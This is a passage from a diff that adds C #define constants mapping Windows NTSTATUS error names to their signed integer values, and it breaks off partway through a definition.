STATUS_INSUFF_SERVER_RESOURCES -1073741307 +#define STATUS_INVALID_BUFFER_SIZE -1073741306 +#define STATUS_INVALID_ADDRESS_COMPONENT -1073741305 +#define STATUS_INVALID_ADDRESS_WILDCARD -1073741304 +#define STATUS_TOO_MANY_ADDRESSES -1073741303 +#define STATUS_ADDRESS_ALREADY_EXISTS -1073741302 +#define STATUS_ADDRESS_CLOSED -1073741301 +#define STATUS_CONNECTION_DISCONNECTED -1073741300 +#define STATUS_CONNECTION_RESET -1073741299 +#define STATUS_TOO_MANY_NODES -1073741298 +#define STATUS_TRANSACTION_ABORTED -1073741297 +#define STATUS_TRANSACTION_TIMED_OUT -1073741296 +#define STATUS_TRANSACTION_NO_RELEASE -1073741295 +#define STATUS_TRANSACTION_NO_MATCH -1073741294 +#define STATUS_TRANSACTION_RESPONDED -1073741293 +#define STATUS_TRANSACTION_INVALID_ID -1073741292 +#define STATUS_TRANSACTION_INVALID_TYPE -1073741291 +#define STATUS_NOT_SERVER_SESSION -1073741290 +#define STATUS_NOT_CLIENT_SESSION -1073741289 +#define STATUS_CANNOT_LOAD_REGISTRY_FILE -1073741288 +#define STATUS_DEBUG_ATTACH_FAILED -1073741287 +#define STATUS_SYSTEM_PROCESS_TERMINATED -1073741286 +#define STATUS_DATA_NOT_ACCEPTED -1073741285 +#define STATUS_NO_BROWSER_SERVERS_FOUND -1073741284 +#define STATUS_VDM_HARD_ERROR -1073741283 +#define STATUS_DRIVER_CANCEL_TIMEOUT -1073741282 +#define STATUS_REPLY_MESSAGE_MISMATCH -1073741281 +#define STATUS_MAPPED_ALIGNMENT -1073741280 +#define STATUS_IMAGE_CHECKSUM_MISMATCH -1073741279 +#define STATUS_LOST_WRITEBEHIND_DATA -1073741278 +#define STATUS_CLIENT_SERVER_PARAMETERS_INVALID -1073741277 +#define STATUS_NOT_FOUND -1073741275 +#define STATUS_NOT_TINY_STREAM -1073741274 +#define STATUS_RECOVERY_FAILURE -1073741273 +#define STATUS_STACK_OVERFLOW_READ -1073741272 +#define STATUS_FAIL_CHECK -1073741271 +#define STATUS_DUPLICATE_OBJECTID -1073741270 +#define STATUS_OBJECTID_EXISTS -1073741269 +#define STATUS_CONVERT_TO_LARGE -1073741268 +#define STATUS_RETRY -1073741267 +#define STATUS_FOUND_OUT_OF_SCOPE -1073741266 +#define STATUS_ALLOCATE_BUCKET -1073741265 +#define STATUS_PROPSET_NOT_FOUND -1073741264 +#define STATUS_MARSHALL_OVERFLOW -1073741263 +#define STATUS_INVALID_VARIANT -1073741262 +#define STATUS_DOMAIN_CONTROLLER_NOT_FOUND -1073741261 +#define STATUS_HANDLE_NOT_CLOSABLE -1073741259 +#define STATUS_CONNECTION_REFUSED -1073741258 +#define STATUS_GRACEFUL_DISCONNECT -1073741257 +#define STATUS_ADDRESS_ALREADY_ASSOCIATED -1073741256 +#define STATUS_ADDRESS_NOT_ASSOCIATED -1073741255 +#define STATUS_CONNECTION_INVALID -1073741254 +#define STATUS_CONNECTION_ACTIVE -1073741253 +#define STATUS_NETWORK_UNREACHABLE -1073741252 +#define STATUS_HOST_UNREACHABLE -1073741251 +#define STATUS_PROTOCOL_UNREACHABLE -1073741250 +#define STATUS_PORT_UNREACHABLE -1073741249 +#define STATUS_REQUEST_ABORTED -1073741248 +#define STATUS_CONNECTION_ABORTED -1073741247 +#define STATUS_BAD_COMPRESSION_BUFFER -1073741246 +#define STATUS_USER_MAPPED_FILE -1073741245 +#define STATUS_AUDIT_FAILED -1073741244 +#define STATUS_TIMER_RESOLUTION_NOT_SET -1073741243 +#define STATUS_CONNECTION_COUNT_LIMIT -1073741242 +#define STATUS_LOGIN_TIME_RESTRICTION -1073741241 +#define STATUS_LOGIN_WKSTA_RESTRICTION -1073741240 +#define STATUS_IMAGE_MP_UP_MISMATCH -1073741239 +#define STATUS_INSUFFICIENT_LOGON_INFO -1073741232 +#define STATUS_BAD_DLL_ENTRYPOINT -1073741231 +#define STATUS_BAD_SERVICE_ENTRYPOINT -1073741230 +#define STATUS_LPC_REPLY_LOST -1073741229 +#define STATUS_IP_ADDRESS_CONFLICT1 -1073741228 +#define STATUS_IP_ADDRESS_CONFLICT2 -1073741227 +#define STATUS_REGISTRY_QUOTA_LIMIT -1073741226 +#define STATUS_PATH_NOT_COVERED -1073741225 +#define STATUS_NO_CALLBACK_ACTIVE -1073741224 +#define STATUS_LICENSE_QUOTA_EXCEEDED -1073741223 +#define STATUS_PWD_TOO_SHORT -1073741222 +#define STATUS_PWD_TOO_RECENT -1073741221 +#define STATUS_PWD_HISTORY_CONFLICT -1073741220 +#define STATUS_PLUGPLAY_NO_DEVICE -1073741218 +#define STATUS_UNSUPPORTED_COMPRESSION -1073741217 +#define STATUS_INVALID_HW_PROFILE -1073741216 +#define STATUS_INVALID_PLUGPLAY_DEVICE_PATH -1073741215 +#define STATUS_DRIVER_ORDINAL_NOT_FOUND -1073741214 +#define STATUS_DRIVER_ENTRYPOINT_NOT_FOUND -1073741213 +#define STATUS_RESOURCE_NOT_OWNED -1073741212 +#define STATUS_TOO_MANY_LINKS -1073741211 +#define STATUS_QUOTA_LIST_INCONSISTENT -1073741210 +#define STATUS_FILE_IS_OFFLINE -1073741209 +#define STATUS_EVALUATION_EXPIRATION -1073741208 +#define STATUS_ILLEGAL_DLL_RELOCATION -1073741207 +#define STATUS_LICENSE_VIOLATION -1073741206 +#define STATUS_DLL_INIT_FAILED_LOGOFF -1073741205 +#define STATUS_DRIVER_UNABLE_TO_LOAD -1073741204 +#define STATUS_DFS_UNAVAILABLE -1073741203 +#define STATUS_VOLUME_DISMOUNTED -1073741202 +#define STATUS_WX86_INTERNAL_ERROR -1073741201 +#define STATUS_WX86_FLOAT_STACK_CHECK -1073741200 +#define STATUS_VALIDATE_CONTINUE -1073741199 +#define STATUS_NO_MATCH -1073741198 +#define STATUS_NO_MORE_MATCHES -1073741197 +#define STATUS_NOT_A_REPARSE_POINT -1073741195 +#define STATUS_IO_REPARSE_TAG_INVALID -1073741194 +#define STATUS_IO_REPARSE_TAG_MISMATCH -1073741193 +#define STATUS_IO_REPARSE_DATA_INVALID -1073741192 +#define STATUS_IO_REPARSE_TAG_NOT_HANDLED -1073741191 +#define STATUS_PWD_TOO_LONG -1073741190 +#define STATUS_STOWED_EXCEPTION -1073741189 +#define STATUS_CONTEXT_STOWED_EXCEPTION -1073741188 +#define STATUS_REPARSE_POINT_NOT_RESOLVED -1073741184 +#define STATUS_DIRECTORY_IS_A_REPARSE_POINT -1073741183 +#define STATUS_RANGE_LIST_CONFLICT -1073741182 +#define STATUS_SOURCE_ELEMENT_EMPTY -1073741181 +#define STATUS_DESTINATION_ELEMENT_FULL -1073741180 +#define STATUS_ILLEGAL_ELEMENT_ADDRESS -1073741179 +#define STATUS_MAGAZINE_NOT_PRESENT -1073741178 +#define STATUS_REINITIALIZATION_NEEDED -1073741177 +#define STATUS_DEVICE_REQUIRES_CLEANING -2147483000 +#define STATUS_DEVICE_DOOR_OPEN -2147482999 +#define STATUS_ENCRYPTION_FAILED -1073741174 +#define STATUS_DECRYPTION_FAILED -1073741173 +#define STATUS_RANGE_NOT_FOUND -1073741172 +#define STATUS_NO_RECOVERY_POLICY -1073741171 +#define STATUS_NO_EFS -1073741170 +#define STATUS_WRONG_EFS -1073741169 +#define STATUS_NO_USER_KEYS -1073741168 +#define STATUS_FILE_NOT_ENCRYPTED -1073741167 +#define STATUS_NOT_EXPORT_FORMAT -1073741166 +#define STATUS_FILE_ENCRYPTED -1073741165 +#define STATUS_WAKE_SYSTEM 1073742484 +#define STATUS_WMI_GUID_NOT_FOUND -1073741163 +#define STATUS_WMI_INSTANCE_NOT_FOUND -1073741162 +#define STATUS_WMI_ITEMID_NOT_FOUND -1073741161 +#define STATUS_WMI_TRY_AGAIN -1073741160 +#define STATUS_SHARED_POLICY -1073741159 +#define STATUS_POLICY_OBJECT_NOT_FOUND -1073741158 +#define STATUS_POLICY_ONLY_IN_DS -1073741157 +#define STATUS_VOLUME_NOT_UPGRADED -1073741156 +#define STATUS_REMOTE_STORAGE_NOT_ACTIVE -1073741155 +#define STATUS_REMOTE_STORAGE_MEDIA_ERROR -1073741154 +#define STATUS_NO_TRACKING_SERVICE -1073741153 +#define STATUS_SERVER_SID_MISMATCH -1073741152 +#define STATUS_DS_NO_ATTRIBUTE_OR_VALUE -1073741151 +#define STATUS_DS_INVALID_ATTRIBUTE_SYNTAX -1073741150 +#define STATUS_DS_ATTRIBUTE_TYPE_UNDEFINED -1073741149 +#define STATUS_DS_ATTRIBUTE_OR_VALUE_EXISTS -1073741148 +#define STATUS_DS_BUSY -1073741147 +#define STATUS_DS_UNAVAILABLE -1073741146 +#define STATUS_DS_NO_RIDS_ALLOCATED -1073741145 +#define STATUS_DS_NO_MORE_RIDS -1073741144 +#define STATUS_DS_INCORRECT_ROLE_OWNER -1073741143 +#define STATUS_DS_RIDMGR_INIT_ERROR -1073741142 +#define STATUS_DS_OBJ_CLASS_VIOLATION -1073741141 +#define STATUS_DS_CANT_ON_NON_LEAF -1073741140 +#define STATUS_DS_CANT_ON_RDN -1073741139 +#define STATUS_DS_CANT_MOD_OBJ_CLASS -1073741138 +#define STATUS_DS_CROSS_DOM_MOVE_FAILED -1073741137 +#define STATUS_DS_GC_NOT_AVAILABLE -1073741136 +#define STATUS_DIRECTORY_SERVICE_REQUIRED -1073741135 +#define STATUS_REPARSE_ATTRIBUTE_CONFLICT -1073741134 +#define STATUS_CANT_ENABLE_DENY_ONLY -1073741133 +#define STATUS_FLOAT_MULTIPLE_FAULTS -1073741132 +#define STATUS_FLOAT_MULTIPLE_TRAPS -1073741131 +#define STATUS_DEVICE_REMOVED -1073741130 +#define STATUS_JOURNAL_DELETE_IN_PROGRESS -1073741129 +#define STATUS_JOURNAL_NOT_ACTIVE -1073741128 +#define STATUS_NOINTERFACE -1073741127 +#define STATUS_DS_RIDMGR_DISABLED -1073741126 +#define STATUS_DS_ADMIN_LIMIT_EXCEEDED -1073741119 +#define STATUS_DRIVER_FAILED_SLEEP -1073741118 +#define STATUS_MUTUAL_AUTHENTICATION_FAILED -1073741117 +#define STATUS_CORRUPT_SYSTEM_FILE -1073741116 +#define STATUS_DATATYPE_MISALIGNMENT_ERROR -1073741115 +#define STATUS_WMI_READ_ONLY -1073741114 +#define STATUS_WMI_SET_FAILURE -1073741113 +#define STATUS_COMMITMENT_MINIMUM -1073741112 +#define STATUS_REG_NAT_CONSUMPTION -1073741111 +#define STATUS_TRANSPORT_FULL -1073741110 +#define STATUS_DS_SAM_INIT_FAILURE -1073741109 +#define STATUS_ONLY_IF_CONNECTED -1073741108 +#define STATUS_DS_SENSITIVE_GROUP_VIOLATION -1073741107 +#define STATUS_PNP_RESTART_ENUMERATION -1073741106 +#define STATUS_JOURNAL_ENTRY_DELETED -1073741105 +#define STATUS_DS_CANT_MOD_PRIMARYGROUPID -1073741104 +#define STATUS_SYSTEM_IMAGE_BAD_SIGNATURE -1073741103 +#define STATUS_PNP_REBOOT_REQUIRED -1073741102 +#define STATUS_POWER_STATE_INVALID -1073741101 +#define STATUS_DS_INVALID_GROUP_TYPE -1073741100 +#define STATUS_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN -1073741099 +#define STATUS_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN -1073741098 +#define STATUS_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER -1073741097 +#define STATUS_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER -1073741096 +#define STATUS_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER -1073741095 +#define STATUS_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER -1073741094 +#define STATUS_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER -1073741093 +#define STATUS_DS_HAVE_PRIMARY_MEMBERS -1073741092 +#define STATUS_WMI_NOT_SUPPORTED -1073741091 +#define STATUS_INSUFFICIENT_POWER -1073741090 +#define STATUS_SAM_NEED_BOOTKEY_PASSWORD -1073741089 +#define STATUS_SAM_NEED_BOOTKEY_FLOPPY -1073741088 +#define STATUS_DS_CANT_START -1073741087 +#define STATUS_DS_INIT_FAILURE -1073741086 +#define STATUS_SAM_INIT_FAILURE -1073741085 +#define STATUS_DS_GC_REQUIRED -1073741084 +#define STATUS_DS_LOCAL_MEMBER_OF_LOCAL_ONLY -1073741083 +#define STATUS_DS_NO_FPO_IN_UNIVERSAL_GROUPS -1073741082 +#define STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED -1073741081 +#define STATUS_MULTIPLE_FAULT_VIOLATION -1073741080 +#define STATUS_CURRENT_DOMAIN_NOT_ALLOWED -1073741079 +#define STATUS_CANNOT_MAKE -1073741078 +#define STATUS_SYSTEM_SHUTDOWN -1073741077 +#define STATUS_DS_INIT_FAILURE_CONSOLE -1073741076 +#define STATUS_DS_SAM_INIT_FAILURE_CONSOLE -1073741075 +#define STATUS_UNFINISHED_CONTEXT_DELETED -1073741074 +#define STATUS_NO_TGT_REPLY -1073741073 +#define STATUS_OBJECTID_NOT_FOUND -1073741072 +#define STATUS_NO_IP_ADDRESSES -1073741071 +#define STATUS_WRONG_CREDENTIAL_HANDLE -1073741070 +#define STATUS_CRYPTO_SYSTEM_INVALID -1073741069 +#define STATUS_MAX_REFERRALS_EXCEEDED -1073741068 +#define STATUS_MUST_BE_KDC -1073741067 +#define STATUS_STRONG_CRYPTO_NOT_SUPPORTED -1073741066 +#define STATUS_TOO_MANY_PRINCIPALS -1073741065 +#define STATUS_NO_PA_DATA -1073741064 +#define STATUS_PKINIT_NAME_MISMATCH -1073741063 +#define STATUS_SMARTCARD_LOGON_REQUIRED -1073741062 +#define STATUS_KDC_INVALID_REQUEST -1073741061 +#define STATUS_KDC_UNABLE_TO_REFER -1073741060 +#define STATUS_KDC_UNKNOWN_ETYPE -1073741059 +#define STATUS_SHUTDOWN_IN_PROGRESS -1073741058 +#define STATUS_SERVER_SHUTDOWN_IN_PROGRESS -1073741057 +#define STATUS_NOT_SUPPORTED_ON_SBS -1073741056 +#define STATUS_WMI_GUID_DISCONNECTED -1073741055 +#define STATUS_WMI_ALREADY_DISABLED -1073741054 +#define STATUS_WMI_ALREADY_ENABLED -1073741053 +#define STATUS_MFT_TOO_FRAGMENTED -1073741052 +#define STATUS_COPY_PROTECTION_FAILURE -1073741051 +#define STATUS_CSS_AUTHENTICATION_FAILURE -1073741050 +#define STATUS_CSS_KEY_NOT_PRESENT -1073741049 +#define STATUS_CSS_KEY_NOT_ESTABLISHED -1073741048 +#define STATUS_CSS_SCRAMBLED_SECTOR -1073741047 +#define STATUS_CSS_REGION_MISMATCH -1073741046 +#define STATUS_CSS_RESETS_EXHAUSTED -1073741045 +#define STATUS_PASSWORD_CHANGE_REQUIRED -1073741044 +#define STATUS_LOST_MODE_LOGON_RESTRICTION -1073741043 +#define STATUS_PKINIT_FAILURE -1073741024 +#define STATUS_SMARTCARD_SUBSYSTEM_FAILURE -1073741023 +#define STATUS_NO_KERB_KEY -1073741022 +#define STATUS_HOST_DOWN -1073740976 +#define STATUS_UNSUPPORTED_PREAUTH -1073740975 +#define STATUS_EFS_ALG_BLOB_TOO_BIG -1073740974 +#define STATUS_PORT_NOT_SET -1073740973 +#define STATUS_DEBUGGER_INACTIVE -1073740972 +#define STATUS_DS_VERSION_CHECK_FAILURE -1073740971 +#define STATUS_AUDITING_DISABLED -1073740970 +#define STATUS_PRENT4_MACHINE_ACCOUNT -1073740969 +#define STATUS_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER -1073740968 +#define STATUS_INVALID_IMAGE_WIN_32 -1073740967 +#define STATUS_INVALID_IMAGE_WIN_64 -1073740966 +#define STATUS_BAD_BINDINGS -1073740965 +#define STATUS_NETWORK_SESSION_EXPIRED -1073740964 +#define STATUS_APPHELP_BLOCK -1073740963 +#define STATUS_ALL_SIDS_FILTERED -1073740962 +#define STATUS_NOT_SAFE_MODE_DRIVER -1073740961 +#define STATUS_ACCESS_DISABLED_BY_POLICY_DEFAULT -1073740959 +#define STATUS_ACCESS_DISABLED_BY_POLICY_PATH -1073740958 +#define STATUS_ACCESS_DISABLED_BY_POLICY_PUBLISHER -1073740957 +#define STATUS_ACCESS_DISABLED_BY_POLICY_OTHER -1073740956 +#define STATUS_FAILED_DRIVER_ENTRY -1073740955 +#define STATUS_DEVICE_ENUMERATION_ERROR -1073740954 +#define STATUS_MOUNT_POINT_NOT_RESOLVED -1073740952 +#define STATUS_INVALID_DEVICE_OBJECT_PARAMETER -1073740951 +#define STATUS_MCA_OCCURED -1073740950 +#define STATUS_DRIVER_BLOCKED_CRITICAL -1073740949 +#define STATUS_DRIVER_BLOCKED -1073740948 +#define STATUS_DRIVER_DATABASE_ERROR -1073740947 +#define STATUS_SYSTEM_HIVE_TOO_LARGE -1073740946 +#define STATUS_INVALID_IMPORT_OF_NON_DLL -1073740945 +#define STATUS_DS_SHUTTING_DOWN 1073742704 +#define STATUS_NO_SECRETS -1073740943 +#define STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY -1073740942 +#define STATUS_FAILED_STACK_SWITCH -1073740941 +#define STATUS_HEAP_CORRUPTION -1073740940 +#define STATUS_SMARTCARD_WRONG_PIN -1073740928 +#define STATUS_SMARTCARD_CARD_BLOCKED -1073740927 +#define STATUS_SMARTCARD_CARD_NOT_AUTHENTICATED -1073740926 +#define STATUS_SMARTCARD_NO_CARD -1073740925 +#define STATUS_SMARTCARD_NO_KEY_CONTAINER -1073740924 +#define STATUS_SMARTCARD_NO_CERTIFICATE -1073740923 +#define STATUS_SMARTCARD_NO_KEYSET -1073740922 +#define STATUS_SMARTCARD_IO_ERROR -1073740921 +#define STATUS_SMARTCARD_CERT_REVOKED -1073740919 +#define STATUS_ISSUING_CA_UNTRUSTED -1073740918 +#define STATUS_REVOCATION_OFFLINE_C -1073740917 +#define STATUS_PKINIT_CLIENT_FAILURE -1073740916 +#define STATUS_SMARTCARD_CERT_EXPIRED -1073740915 +#define STATUS_DRIVER_FAILED_PRIOR_UNLOAD -1073740914 +#define STATUS_SMARTCARD_SILENT_CONTEXT -1073740913 +#define STATUS_PER_USER_TRUST_QUOTA_EXCEEDED -1073740799 +#define STATUS_ALL_USER_TRUST_QUOTA_EXCEEDED -1073740798 +#define STATUS_USER_DELETE_TRUST_QUOTA_EXCEEDED -1073740797 +#define STATUS_DS_NAME_NOT_UNIQUE -1073740796 +#define STATUS_DS_DUPLICATE_ID_FOUND -1073740795 +#define STATUS_DS_GROUP_CONVERSION_ERROR -1073740794 +#define STATUS_VOLSNAP_PREPARE_HIBERNATE -1073740793 +#define STATUS_USER2USER_REQUIRED -1073740792 +#define STATUS_STACK_BUFFER_OVERRUN -1073740791 +#define STATUS_NO_S4U_PROT_SUPPORT -1073740790 +#define STATUS_CROSSREALM_DELEGATION_FAILURE -1073740789 +#define STATUS_REVOCATION_OFFLINE_KDC -1073740788 +#define STATUS_ISSUING_CA_UNTRUSTED_KDC -1073740787 +#define STATUS_KDC_CERT_EXPIRED -1073740786 +#define STATUS_KDC_CERT_REVOKED -1073740785 +#define STATUS_PARAMETER_QUOTA_EXCEEDED -1073740784 +#define STATUS_HIBERNATION_FAILURE -1073740783 +#define STATUS_DELAY_LOAD_FAILED -1073740782 +#define STATUS_VDM_DISALLOWED -1073740780 +#define STATUS_HUNG_DISPLAY_DRIVER_THREAD -1073740779 +#define STATUS_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE -1073740778 +#define STATUS_INVALID_CRUNTIME_PARAMETER -1073740777 +#define STATUS_NTLM_BLOCKED -1073740776 +#define STATUS_DS_SRC_SID_EXISTS_IN_FOREST -1073740775 +#define STATUS_DS_DOMAIN_NAME_EXISTS_IN_FOREST -1073740774 +#define STATUS_DS_FLAT_NAME_EXISTS_IN_FOREST -1073740773 +#define STATUS_INVALID_USER_PRINCIPAL_NAME -1073740772 +#define STATUS_FATAL_USER_CALLBACK_EXCEPTION -1073740771 +#define STATUS_ASSERTION_FAILURE -1073740768 +#define STATUS_VERIFIER_STOP -1073740767 +#define STATUS_CALLBACK_POP_STACK -1073740765 +#define STATUS_INCOMPATIBLE_DRIVER_BLOCKED -1073740764 +#define STATUS_HIVE_UNLOADED -1073740763 +#define STATUS_COMPRESSION_DISABLED -1073740762 +#define STATUS_FILE_SYSTEM_LIMITATION -1073740761 +#define STATUS_INVALID_IMAGE_HASH -1073740760 +#define STATUS_NOT_CAPABLE -1073740759 +#define STATUS_REQUEST_OUT_OF_SEQUENCE -1073740758 +#define STATUS_IMPLEMENTATION_LIMIT -1073740757 +#define STATUS_ELEVATION_REQUIRED -1073740756 +#define STATUS_NO_SECURITY_CONTEXT -1073740755 +#define STATUS_PKU2U_CERT_FAILURE -1073740753 +#define STATUS_BEYOND_VDL -1073740750 +#define STATUS_ENCOUNTERED_WRITE_IN_PROGRESS -1073740749 +#define STATUS_PTE_CHANGED -1073740748 +#define STATUS_PURGE_FAILED -1073740747 +#define STATUS_CRED_REQUIRES_CONFIRMATION -1073740736 +#define STATUS_CS_ENCRYPTION_INVALID_SERVER_RESPONSE -1073740735 +#define STATUS_CS_ENCRYPTION_UNSUPPORTED_SERVER -1073740734 +#define STATUS_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE -1073740733 +#define STATUS_CS_ENCRYPTION_NEW_ENCRYPTED_FILE -1073740732 +#define STATUS_CS_ENCRYPTION_FILE_NOT_CSE -1073740731 +#define STATUS_INVALID_LABEL -1073740730 +#define STATUS_DRIVER_PROCESS_TERMINATED -1073740720 +#define STATUS_AMBIGUOUS_SYSTEM_DEVICE -1073740719 +#define STATUS_SYSTEM_DEVICE_NOT_FOUND -1073740718 +#define STATUS_RESTART_BOOT_APPLICATION -1073740717 +#define STATUS_INSUFFICIENT_NVRAM_RESOURCES -1073740716 +#define STATUS_INVALID_SESSION -1073740715 +#define STATUS_THREAD_ALREADY_IN_SESSION -1073740714 +#define STATUS_THREAD_NOT_IN_SESSION -1073740713 +#define STATUS_INVALID_WEIGHT -1073740712 +#define STATUS_REQUEST_PAUSED -1073740711 +#define STATUS_NO_RANGES_PROCESSED -1073740704 +#define STATUS_DISK_RESOURCES_EXHAUSTED -1073740703 +#define STATUS_NEEDS_REMEDIATION -1073740702 +#define STATUS_DEVICE_FEATURE_NOT_SUPPORTED -1073740701 +#define STATUS_DEVICE_UNREACHABLE -1073740700 +#define STATUS_INVALID_TOKEN -1073740699 +#define STATUS_SERVER_UNAVAILABLE -1073740698 +#define STATUS_FILE_NOT_AVAILABLE -1073740697 +#define STATUS_DEVICE_INSUFFICIENT_RESOURCES -1073740696 +#define STATUS_PACKAGE_UPDATING -1073740695 +#define STATUS_NOT_READ_FROM_COPY -1073740694 +#define STATUS_FT_WRITE_FAILURE -1073740693 +#define STATUS_FT_DI_SCAN_REQUIRED -1073740692 +#define STATUS_OBJECT_NOT_EXTERNALLY_BACKED -1073740691 +#define STATUS_EXTERNAL_BACKING_PROVIDER_UNKNOWN -1073740690 +#define STATUS_COMPRESSION_NOT_BENEFICIAL -1073740689 +#define STATUS_DATA_CHECKSUM_ERROR -1073740688 +#define STATUS_INTERMIXED_KERNEL_EA_OPERATION -1073740687 +#define STATUS_TRIM_READ_ZERO_NOT_SUPPORTED -1073740686 +#define STATUS_TOO_MANY_SEGMENT_DESCRIPTORS -1073740685 +#define STATUS_INVALID_OFFSET_ALIGNMENT -1073740684 +#define STATUS_INVALID_FIELD_IN_PARAMETER_LIST -1073740683 +#define STATUS_OPERATION_IN_PROGRESS -1073740682 +#define STATUS_INVALID_INITIATOR_TARGET_PATH -1073740681 +#define STATUS_SCRUB_DATA_DISABLED -1073740680 +#define STATUS_NOT_REDUNDANT_STORAGE -1073740679 +#define STATUS_RESIDENT_FILE_NOT_SUPPORTED -1073740678 +#define STATUS_COMPRESSED_FILE_NOT_SUPPORTED -1073740677 +#define STATUS_DIRECTORY_NOT_SUPPORTED -1073740676 +#define STATUS_IO_OPERATION_TIMEOUT -1073740675 +#define STATUS_SYSTEM_NEEDS_REMEDIATION -1073740674 +#define STATUS_APPX_INTEGRITY_FAILURE_CLR_NGEN -1073740673 +#define STATUS_SHARE_UNAVAILABLE -1073740672 +#define STATUS_APISET_NOT_HOSTED -1073740671 +#define STATUS_APISET_NOT_PRESENT -1073740670 +#define STATUS_DEVICE_HARDWARE_ERROR -1073740669 +#define STATUS_FIRMWARE_SLOT_INVALID -1073740668 +#define STATUS_FIRMWARE_IMAGE_INVALID -1073740667 +#define STATUS_STORAGE_TOPOLOGY_ID_MISMATCH -1073740666 +#define STATUS_WIM_NOT_BOOTABLE -1073740665 +#define STATUS_BLOCKED_BY_PARENTAL_CONTROLS -1073740664 +#define STATUS_NEEDS_REGISTRATION -1073740663 +#define STATUS_QUOTA_ACTIVITY -1073740662 +#define STATUS_CALLBACK_INVOKE_INLINE -1073740661 +#define STATUS_BLOCK_TOO_MANY_REFERENCES -1073740660 +#define STATUS_MARKED_TO_DISALLOW_WRITES -1073740659 +#define STATUS_NETWORK_ACCESS_DENIED_EDP -1073740658 +#define STATUS_ENCLAVE_FAILURE -1073740657 +#define STATUS_PNP_NO_COMPAT_DRIVERS -1073740656 +#define STATUS_PNP_DRIVER_PACKAGE_NOT_FOUND -1073740655 +#define STATUS_PNP_DRIVER_CONFIGURATION_NOT_FOUND -1073740654 +#define STATUS_PNP_DRIVER_CONFIGURATION_INCOMPLETE -1073740653 +#define STATUS_PNP_FUNCTION_DRIVER_REQUIRED -1073740652 +#define STATUS_PNP_DEVICE_CONFIGURATION_PENDING -1073740651 +#define STATUS_DEVICE_HINT_NAME_BUFFER_TOO_SMALL -1073740650 +#define STATUS_PACKAGE_NOT_AVAILABLE -1073740649 +#define STATUS_DEVICE_IN_MAINTENANCE -1073740647 +#define STATUS_NOT_SUPPORTED_ON_DAX -1073740646 +#define STATUS_FREE_SPACE_TOO_FRAGMENTED -1073740645 +#define STATUS_DAX_MAPPING_EXISTS -1073740644 +#define STATUS_CHILD_PROCESS_BLOCKED -1073740643 +#define STATUS_STORAGE_LOST_DATA_PERSISTENCE -1073740642 +#define STATUS_PARTITION_TERMINATING -1073740640 +#define STATUS_EXTERNAL_SYSKEY_NOT_SUPPORTED -1073740639 +#define STATUS_ENCLAVE_VIOLATION -1073740638 +#define STATUS_FILE_PROTECTED_UNDER_DPL -1073740637 +#define STATUS_VOLUME_NOT_CLUSTER_ALIGNED -1073740636 +#define STATUS_NO_PHYSICALLY_ALIGNED_FREE_SPACE_FOUND -1073740635 +#define STATUS_APPX_FILE_NOT_ENCRYPTED -1073740634 +#define STATUS_RWRAW_ENCRYPTED_FILE_NOT_ENCRYPTED -1073740633 +#define STATUS_RWRAW_ENCRYPTED_INVALID_EDATAINFO_FILEOFFSET -1073740632 +#define STATUS_RWRAW_ENCRYPTED_INVALID_EDATAINFO_FILERANGE -1073740631 +#define STATUS_RWRAW_ENCRYPTED_INVALID_EDATAINFO_PARAMETER -1073740630 +#define STATUS_FT_READ_FAILURE -1073740629 +#define STATUS_PATCH_CONFLICT -1073740628 +#define STATUS_STORAGE_RESERVE_ID_INVALID -1073740627 +#define STATUS_STORAGE_RESERVE_DOES_NOT_EXIST -1073740626 +#define STATUS_STORAGE_RESERVE_ALREADY_EXISTS -1073740625 +#define STATUS_STORAGE_RESERVE_NOT_EMPTY -1073740624 +#define STATUS_NOT_A_DAX_VOLUME -1073740623 +#define STATUS_NOT_DAX_MAPPABLE -1073740622 +#define STATUS_CASE_DIFFERING_NAMES_IN_DIR -1073740621 +#define STATUS_FILE_NOT_SUPPORTED -1073740620 +#define STATUS_NOT_SUPPORTED_WITH_BTT -1073740619 +#define STATUS_ENCRYPTION_DISABLED -1073740618 +#define STATUS_ENCRYPTING_METADATA_DISALLOWED -1073740617 +#define STATUS_CANT_CLEAR_ENCRYPTION_FLAG -1073740616 +#define STATUS_UNSATISFIED_DEPENDENCIES -1073740615 +#define STATUS_CASE_SENSITIVE_PATH -1073740614 +#define STATUS_UNSUPPORTED_PAGING_MODE -1073740613 +#define STATUS_UNTRUSTED_MOUNT_POINT -1073740612 +#define STATUS_HAS_SYSTEM_CRITICAL_FILES -1073740611 +#define STATUS_OBJECT_IS_IMMUTABLE -1073740610 +#define STATUS_FT_READ_FROM_COPY_FAILURE -1073740609 +#define STATUS_IMAGE_LOADED_AS_PATCH_IMAGE -1073740608 +#define STATUS_STORAGE_STACK_ACCESS_DENIED -1073740607 +#define STATUS_INSUFFICIENT_VIRTUAL_ADDR_RESOURCES -1073740606 +#define STATUS_ENCRYPTED_FILE_NOT_SUPPORTED -1073740605 +#define STATUS_SPARSE_FILE_NOT_SUPPORTED -1073740604 +#define STATUS_PAGEFILE_NOT_SUPPORTED -1073740603 +#define STATUS_VOLUME_NOT_SUPPORTED -1073740602 +#define STATUS_NOT_SUPPORTED_WITH_BYPASSIO -1073740601 +#define STATUS_NO_BYPASSIO_DRIVER_SUPPORT -1073740600 +#define STATUS_NOT_SUPPORTED_WITH_ENCRYPTION -1073740599 +#define STATUS_NOT_SUPPORTED_WITH_COMPRESSION -1073740598 +#define STATUS_NOT_SUPPORTED_WITH_REPLICATION -1073740597 +#define STATUS_NOT_SUPPORTED_WITH_DEDUPLICATION -1073740596 +#define STATUS_NOT_SUPPORTED_WITH_AUDITING -1073740595 +#define STATUS_NOT_SUPPORTED_WITH_MONITORING -1073740594 +#define STATUS_NOT_SUPPORTED_WITH_SNAPSHOT -1073740593 +#define STATUS_NOT_SUPPORTED_WITH_VIRTUALIZATION -1073740592 +#define STATUS_INDEX_OUT_OF_BOUNDS -1073740591 +#define 